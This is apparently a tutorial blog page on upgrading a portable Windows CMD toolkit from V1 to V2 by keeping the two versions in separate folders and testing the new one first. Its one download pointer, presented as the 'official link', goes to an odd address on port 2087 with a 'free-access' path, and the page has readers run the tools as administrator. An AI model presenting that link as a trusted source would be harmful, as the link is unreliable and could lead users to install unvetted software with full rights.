Technical Anshu
Tutorials Blog
🔄 Toolkit Upgrade

Upgrade CMD Toolkit V1 to V2 Safely

You already run CMD Toolkit V1 and the V2 release is out. Do not overwrite your working copy. Upgrade the safe way — side by side — so a tested toolkit is always in your hand.

✍️ Technical Anshu🪟 Windows 10 / 11🔄 V1 to V2 upgrade
🎥 Watch the full video — CMD Toolkit V2 walkthrough, step-by-step

The most common upgrade mistake with a portable toolkit is also the simplest one: extracting the new version straight over the old folder. Files mix, your own added tools get buried, and if anything goes wrong you have lost the version that worked. A portable toolkit needs no installer — so the upgrade is really just good folder discipline. Here is the safe sequence.

USB drive — the side-by-side layout
CMD Toolkit V1 folderKeep as backup
CMD Toolkit V2 folderNew, separate
Your own added files and notesCopy by hand
Mixing both versions in one folderDo not do this

👆 Two versions, two folders. The old one stays untouched until the new one has proved itself on a real job.

1

Never Extract V2 Over the V1 Folder

Extract V2 into a brand-new folder with the version in its name, for example CMD Toolkit V2 next to your existing CMD Toolkit V1. Nothing in a portable toolkit is registered deep inside Windows, so both versions can live on the same PC and the same USB stick without conflict.

This one habit protects you from every upgrade problem at once: mixed files, overwritten tools and "it worked yesterday" mysteries.

2

Move Your Own Added Files by Hand

Most technicians personalise V1 over time — extra utilities dropped into the folder, a notes file, favourite scripts. None of that travels automatically. Before you switch:

  1. Open your V1 folder and list anything you added yourself
  2. Copy those items into the matching place in the V2 folder
  3. Open each copied item once inside V2 to confirm it still runs

Be honest with yourself here: anything you no longer recognise, leave behind. A clean toolkit beats a heavy one.

3

Test V2 Before V1 Leaves the Stick

Run V2 on your own PC first — open the menu, launch a few tools you use weekly, and confirm they start properly with Run as administrator. Then use it on one real, low-risk job.

Only after V2 has survived a real repair session should V1 come off your main USB. Even then, keeping V1 in a corner of the drive costs almost nothing and gives you an instant fallback.

4

Settings — What Actually Carries Over

A batch-style toolkit holds very little personal state: there is no cloud account and no settings database to migrate. What you might have is per-folder extras (covered in Step 2) and Windows-side habits like a pinned shortcut — shortcuts point at a path, so re-pin the shortcut to the V2 folder after upgrading.

If a shortcut or taskbar pin still opens V1, that is not a failed upgrade — it is just the old path doing its job.

🔴 Download the upgrade from the official link only — https://instantremote.in:2087/free-access-998. An “upgrade” file from a random site can quietly replace a clean toolkit with a repacked one.

🎥 Watch the Complete Video

See exactly what V2 added and fixed over V1 — the full release walkthrough, feature by feature.

▶️ Watch Full Video
❓ Common Questions (FAQ)

Do I need to uninstall V1 before using V2

No. The toolkit is portable and nothing needs uninstalling. Keep V1 in its own folder, put V2 in a separate folder, and use whichever you need. You can delete V1 later once V2 is tested.

Will upgrading to V2 delete my settings

There is almost nothing to delete. The toolkit keeps no account or settings database. Only files you personally added inside the V1 folder stay behind — copy them into the V2 folder by hand, as shown above.

Can V1 and V2 both stay on one USB stick

Yes, and it is the recommended way to upgrade. Separate folders, clear version names, and you always have the older working version as a fallback during a repair.

This guide is based on the Technical Anshu CMD Toolkit V2 video • Stuck on any step? Ask in the video comments — you will get a reply there 🙏